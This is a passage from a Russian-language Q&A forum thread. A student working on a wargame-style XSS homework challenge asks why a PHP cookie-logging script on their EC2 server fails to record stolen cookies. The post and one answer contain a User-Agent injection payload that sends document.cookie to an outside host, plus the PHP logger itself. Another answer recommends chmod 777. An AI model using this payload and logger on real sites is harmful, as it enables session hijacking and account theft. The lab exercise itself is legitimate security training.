Переменная не будет передана в PHP через URL - PullRequest
0 голосов
/ 14 марта 2019

Я делаю это постоянное домашнее задание по созданию межсайтовых сценариев. Предполагается, что мы украдем cookie с помощью инъекции useragent. Более подробную информацию об этой задаче можно найти на этой странице (базовый 41) :

Справочная информация:

, так как этот вызов находится на игрушечном веб-сайте, веб-сайт имитирует жертву, просматривая страницу для нас. Что нам нужно сделать, это внедрить код на сервер страницы запроса, украсть cookie-файл жертвы с помощью этого кода и отправить эти куки-файлы на веб-сервер, который мы настроили сами. После того, как мы успешно собрали файлы cookie жертв, мы можем установить собственные значения cookie для этих значений, чтобы пройти испытание.

Что я сделал до сих пор:

  1. Настройте веб-сервер на aws ec2. Я верю, что это centos, но не могу найти больше информации о выпуске, так как возникают проблемы с установкой пакета centos-release или тому подобного. Все, что я могу найти, это только: Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2. Для входящих правил установлены порт 22 для ssh и порт 80 для http. Установлены и протестированы httpd, mysql, php. Файл index.html в /var/www/http нормально отображается в браузере.

  2. Положите cookie_stealer.php под /var/www/http

    Мой код cookie_stealer.php:

<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
  1. Внедрить код в пользовательский агент Chrome:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>

Пока я успешно ввел код, но значение document.cookie не будет передано в мой php-файл. Поэтому сейчас я сосредоточен на этой проблеме.

  1. дополнительная информация

Я проверяю, как передать переменную в php, проверяя через url:

http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh

Интересно (странно !!), что после того, как я добавил следующую строку в свой php-файл после строки $_GET['c']:

echo 'Cookie: ' . $cookie . "\r\n";

значение c может быть напечатано на веб-странице как ahhh, но не записано в log.txt. log.txt записывает только это:

Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c

У меня вопрос: если переменная c передается на $cookie на сервере, почему этот троичный оператор всегда возвращает 'There is no variable c', пока на веб-странице отображается ahhh. Может кто-нибудь сказать мне, почему это происходит или где еще я могу посмотреть? Любая подсказка будет оценена!

Ответы [ 2 ]

1 голос
/ 16 марта 2019

Возможно, вам потребуется изменить разрешение на запись в этот файл журнала. Пытаться: chmod -R 777 log.txt

0 голосов
/ 14 марта 2019

Моя первая мысль:

Возможно, вам потребуется URLE закодировать текст cookie. Возможно, в нем есть что-то, что нарушает ваш URL-запрос.

<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>

Тогда в PHP вы можете или не должны декодировать его, если вы это сделаете, вы можете сделать это:

 $cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';

Например, ваш инструктор мог вставить знак # или что-то там. Я не могу сказать наверняка, так как я никогда не отправлял куки через аргумент запроса, но я не думаю, что они предназначены для такой отправки.

В любом случае это было слишком много для комментария, надеюсь, это поможет!

...